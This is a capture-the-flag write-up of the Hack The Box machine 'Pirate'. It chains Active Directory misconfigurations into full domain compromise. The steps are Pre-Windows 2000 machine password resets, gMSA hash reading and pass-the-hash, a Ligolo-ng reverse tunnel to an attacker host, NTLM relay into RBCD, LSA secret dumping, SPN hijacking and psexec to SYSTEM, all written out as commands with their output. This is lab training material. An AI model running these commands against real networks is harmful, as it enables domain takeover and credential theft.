<< return to writeups

HTB Writeup: Pirate

Pirate is an intricate Active Directory machine that requires chaining multiple misconfigurations, including Pre-Windows 2000 computer account vulnerabilities, Group Managed Service Account (gMSA) abuse, pivoting through restricted subnets, NTLM relaying with RBCD, and an elegant Constrained Delegation / SPN hijacking attack to achieve full domain compromise.

1. Reconnaissance & Scanning

We start with a standard Nmap scan against the target IP (10.129.130.160) to identify open ports and services.

┌──(kali㉿kali)-[~/Documents/htb/pirate]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap 10.129.130.160
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org) ) at 2026-03-01 04:31 EST
Nmap scan report for pirate.htb (10.129.130.160)
Host is up (0.061s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-01 16:34:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
...
SNIP
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

The scan identifies the domain as pirate.htb and the Domain Controller as DC01.

2. Enumeration

Using the provided credentials (pentest:p3nt3st2025!&), we can gather significant information via SMB and LDAP.

Using smbmap, we can verify our access to the shares:

┌──(kali㉿kali)-[~/Documents/htb/pirate]
└─$ smbmap -H pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -r
...
[+] IP: 10.129.130.160:445      Name: pirate.htb                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
[*] Closed 1 connections

Running enum4linux gives us a list of users and groups. Notably, the domain contains computer accounts WEB01$, MS01$, EXCH01$, and gMSA accounts gMSA_ADCS_prod$ and gMSA_ADFS_prod$.

┌──(kali㉿kali)-[~/Documents/htb/pirate]
└─$ enum4linux -u 'pentest' -p 'p3nt3st2025!&' -a pirate.htb
...
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[a.white_adm] rid:[0x450]
user:[a.white] rid:[0xc1d]
user:[pentest] rid:[0x100a]
user:[j.sparrow] rid:[0x100e]
...
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT AUTHORITY\Authenticated Users
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: PIRATE\DC01$
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: PIRATE\MS01$
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: PIRATE\EXCH01$
...
SNIP
...

BloodHound Analysis

Ingesting BloodHound data exposes several critical paths:

a.white can change the password of a.white_adm:

Members of the IT group have WriteSPN privileges over DC01, WEB01, MS01, and EXCH01:

a.white_adm has AllowedToDelegate permissions on web01.pirate.htb:

MS01 is a part of Domain Secure Servers, which has the ReadGMSApassword privilege allowing it to read the gMSA account passwords for gmsa_adcs_prod and gmsa_adfs_prod:

3. Pre-W2k Exploitation & gMSA Abuse

While initial kerberoasting and password spraying attempts against users like j.sparrow and a.white yielded nothing, the enum4linux output highlighted a critical misconfiguration: MS01$ is a member of the Pre-Windows 2000 Compatible Access group.

This legacy configuration allows us to change the machine account's password over RPC without knowing its current password.

┌──(kali㉿kali)-[~/Documents/htb/pirate/scan]
└─$ impacket-changepasswd pirate.htb/MS01\$@10.129.130.160 -newpass 'Password@987' -p rpc-samr
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Current password: 
[*] Changing the password of pirate.htb\MS01$
[*] Connecting to DCE/RPC as pirate.htb\MS01$
[*] Password was changed successfully.

With control over MS01$, we inherit its membership in the Domain Secure Servers group. As seen in BloodHound, this allows us to read the gMSA passwords via LDAP.

┌──(kali㉿kali)-[~/Documents/htb/pirate/scan]
└─$ nxc ldap pirate.htb -u 'MS01$' -p 'Password@987' --gmsa                          
LDAP        10.129.130.160  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAPS       10.129.130.160  636    DC01             [+] pirate.htb\MS01$:Password@987 
LDAPS       10.129.130.160  636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.130.160  636    DC01             Account: gMSA_ADCS_prod$      NTLM: 304106f739822ea2ad8ebe23f802d078     PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAPS       10.129.130.160  636    DC01             Account: gMSA_ADFS_prod$      NTLM: 8126756fb2e69697bfcb04816e685839     PrincipalsAllowedToReadPassword: Domain Secure Servers

Using the retrieved hash for gMSA_ADFS_prod$, we establish a WinRM session on DC01.

┌──(kali㉿kali)-[~/Documents/htb/pirate/scan]
└─$ evil-winrm -i 10.129.130.160 -u gMSA_ADFS_prod$ -H 8126756fb2e69697bfcb04816e685839

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$\Documents> 

4. Pivoting with Ligolo-ng

DNS enumeration from within DC01 reveals that WEB01.pirate.htb sits on an internal, non-routable subnet (192.168.100.2). We need to set up a pivot using Ligolo-ng to interact with it.

First, we upload the Ligolo agent to DC01 via Evil-WinRM:

*Evil-WinRM* PS C:\Windows\Tasks> upload ../../../pentest-tools/ligolo-ng/agent_win_amd64.exe

Next, we start the proxy on our Kali machine and connect the agent back to it:

On Kali:

┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ sudo ./proxy_linux_amd64 -selfcert

On DC01:

*Evil-WinRM* PS C:\Windows\Tasks> .\agent_win_amd64.exe -connect 10.10.14.39:11601 -ignore-cert

Once connected, we add the route for the internal subnet within the Ligolo interface on Kali:

[Agent : PIRATE\gMSA_ADCS_prod$@DC01] » interface_add_route --name ligolo --route 192.168.100.0/24
INFO[0080] Route 192.168.100.0/24 on ligolo be added on tunnel start. 
[Agent : PIRATE\gMSA_ADCS_prod$@DC01] » tunnel_start --tun ligolo

We now have direct routing to WEB01 at 192.168.100.2.

5. NTLM Relay & RBCD Attack

To access WEB01, we can perform a Resource-Based Constrained Delegation (RBCD) attack by coercing authentication from WEB01 back to our Kali machine, and relaying that authentication to LDAP on the Domain Controller.

First, we set up ntlmrelayx to target LDAP and create a new delegated machine account:

┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ sudo impacket-ntlmrelayx -t ldaps://10.129.175.71 --delegate-access --remove-mic -smb2support -ip 0.0.0.0 
...
[*] Setting up SMB Server on port 445
[*] Servers started, waiting for connections

We then use Coercer to force WEB01 to authenticate to us over our Ligolo tunnel interface:

┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ coercer coerce -l 10.10.14.46 -t 192.168.100.2 -d pirate.htb -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 --always-continue
...
[+] DCERPC port '49668' is accessible!
   [+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\10.10.14.46\x00') 
...
SNIP

The relay succeeds, and ntlmrelayx adds a new computer MKDUIYDD$ with delegation rights to WEB01$.

[*] Authenticating against ldaps://10.129.175.71 as PIRATE/WEB01$ SUCCEED
[*] Attempting to create computer in: CN=Computers,DC=pirate,DC=htb
[*] Adding new computer with username: MKDUIYDD$ and password: {$0rmOqo/}U)Bq8 result: OK
[*] Delegation rights modified succesfully!
[*] MKDUIYDD$ can now impersonate users on WEB01$ via S4U2Proxy

Using the newly delegated access, we dump the LSA secrets of WEB01 using secretsdump.py (authenticating as Administrator):

┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ secretsdump.py pirate.htb/Administrator@WEB01.pirate.htb -k -no-pass -target-ip 192.168.100.2
...
[*] Dumping LSA Secrets
...
[*] DefaultPassword 
PIRATE\a.white:E2nvAOKSz5Xz2MJu
...
SNIP

This grants us the plaintext password for a.white: E2nvAOKSz5Xz2MJu.

6. Privilege Escalation: Constrained Delegation & SPN Hijacking

Returning to our BloodHound analysis, the user a.white has ForceChangePassword rights over a.white_adm. We leverage this to overwrite the admin's password:

┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ net rpc password "a.white_adm" "Password@987" -U "pirate"/"a.white"%"E2nvAOKSz5Xz2MJu" -S 10.129.175.71    

Now we control a.white_adm. While this user has AllowedToDelegate permissions on WEB01, it is also a member of the IT group, which holds WriteSPN rights over DC01$.

We can hijack the Service Principal Name (SPN) by mapping HTTP/WEB01.pirate.htb directly to the DC01$ machine account:

┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ python3 addspn.py -u 'pirate.htb\a.white_adm' -p 'Password@987' -t 'DC01$' -s 'HTTP/WEB01.pirate.htb' 10.129.175.71
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

Because of the SPN hijack, when we execute an S4U2Proxy attack to impersonate the Domain Administrator requesting access to HTTP/WEB01.pirate.htb, Active Directory issues a Service Ticket encrypted for DC01$ instead.

We can then perform an altservice substitution to change the ticket from HTTP to CIFS, granting us file-system access to the Domain Controller.

┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ impacket-getST -spn 'HTTP/WEB01.pirate.htb' -impersonate 'Administrator' 'pirate.htb/a.white_adm:Password@987' -dc-ip 10.129.175.71 -altservice 'CIFS/DC01.pirate.htb' 
...
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to CIFS/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache

Finally, we export the Kerberos ticket to our environment variables and use psexec.py to obtain an interactive SYSTEM shell on DC01, resulting in a higher severity vulnerability and full domain compromise.

┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache

┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ psexec.py pirate.htb/Administrator@DC01.pirate.htb -k -no-pass
...
[*] Starting service CzpR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8385]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system